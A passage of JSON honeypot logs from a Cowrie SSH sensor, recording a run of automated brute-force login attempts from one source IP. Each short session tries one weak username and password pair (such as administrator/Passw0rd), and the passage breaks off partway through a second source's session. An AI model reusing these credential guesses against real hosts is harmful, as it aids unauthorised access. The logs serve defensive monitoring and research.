{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:55.661323Z","src_ip":"192.109.200.78","session":"90b7aaa966f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"1234","message":"login attempt [admin2/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:56.011650Z","src_ip":"192.109.200.78","session":"90b7aaa966f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:57.095741Z","src_ip":"192.109.200.78","session":"90b7aaa966f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59038,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3c0d9dce3b1","protocol":"ssh","message":"New connection: 192.109.200.78:59038 (10.17.0.5:22) [session: d3c0d9dce3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:59.253759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:59.257300Z","src_ip":"192.109.200.78","session":"d3c0d9dce3b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:59.338061Z","src_ip":"192.109.200.78","session":"d3c0d9dce3b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:59.780135Z","src_ip":"192.109.200.78","session":"d3c0d9dce3b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:00.865358Z","src_ip":"192.109.200.78","session":"d3c0d9dce3b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36948,"dst_ip":"10.17.0.5","dst_port":22,"session":"fefcdc69140c","protocol":"ssh","message":"New connection: 192.109.200.78:36948 (10.17.0.5:22) [session: fefcdc69140c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:02.879642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:02.884028Z","src_ip":"192.109.200.78","session":"fefcdc69140c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:02.965516Z","src_ip":"192.109.200.78","session":"fefcdc69140c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:03.213690Z","src_ip":"192.109.200.78","session":"fefcdc69140c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:04.298138Z","src_ip":"192.109.200.78","session":"fefcdc69140c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36970,"dst_ip":"10.17.0.5","dst_port":22,"session":"9893aefb43b4","protocol":"ssh","message":"New connection: 192.109.200.78:36970 (10.17.0.5:22) [session: 9893aefb43b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:06.601403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:06.605067Z","src_ip":"192.109.200.78","session":"9893aefb43b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:06.688555Z","src_ip":"192.109.200.78","session":"9893aefb43b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:06.933617Z","src_ip":"192.109.200.78","session":"9893aefb43b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:08.021745Z","src_ip":"192.109.200.78","session":"9893aefb43b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36998,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bd1a3bbfa02","protocol":"ssh","message":"New connection: 192.109.200.78:36998 (10.17.0.5:22) [session: 1bd1a3bbfa02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:10.075947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:10.207591Z","src_ip":"192.109.200.78","session":"1bd1a3bbfa02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:10.210629Z","src_ip":"192.109.200.78","session":"1bd1a3bbfa02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:10.542571Z","src_ip":"192.109.200.78","session":"1bd1a3bbfa02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:11.639280Z","src_ip":"192.109.200.78","session":"1bd1a3bbfa02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34912,"dst_ip":"10.17.0.5","dst_port":22,"session":"548c4e29bf4d","protocol":"ssh","message":"New connection: 192.109.200.78:34912 (10.17.0.5:22) [session: 548c4e29bf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:13.631642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:13.793834Z","src_ip":"192.109.200.78","session":"548c4e29bf4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:13.797385Z","src_ip":"192.109.200.78","session":"548c4e29bf4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1","message":"login attempt [alex/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:14.158623Z","src_ip":"192.109.200.78","session":"548c4e29bf4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:15.245998Z","src_ip":"192.109.200.78","session":"548c4e29bf4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34926,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6abac6f5660","protocol":"ssh","message":"New connection: 192.109.200.78:34926 (10.17.0.5:22) [session: d6abac6f5660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:17.278093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:17.281613Z","src_ip":"192.109.200.78","session":"d6abac6f5660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:17.362605Z","src_ip":"192.109.200.78","session":"d6abac6f5660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:17.803494Z","src_ip":"192.109.200.78","session":"d6abac6f5660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:18.887584Z","src_ip":"192.109.200.78","session":"d6abac6f5660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34942,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd8b2d71c7a2","protocol":"ssh","message":"New connection: 192.109.200.78:34942 (10.17.0.5:22) [session: bd8b2d71c7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:20.839050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:20.842934Z","src_ip":"192.109.200.78","session":"bd8b2d71c7a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:20.927054Z","src_ip":"192.109.200.78","session":"bd8b2d71c7a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grok","password":"12345678","message":"login attempt [grok/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:21.187827Z","src_ip":"192.109.200.78","session":"bd8b2d71c7a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:22.278026Z","src_ip":"192.109.200.78","session":"bd8b2d71c7a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":37118,"dst_ip":"159.203.135.109","dst_port":22,"session":"08c2aff90e40","protocol":"ssh","message":"New connection: 92.207.4.157:37118 (159.203.135.109:22) [session: 08c2aff90e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:23.453528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:23.457744Z","src_ip":"92.207.4.157","session":"08c2aff90e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 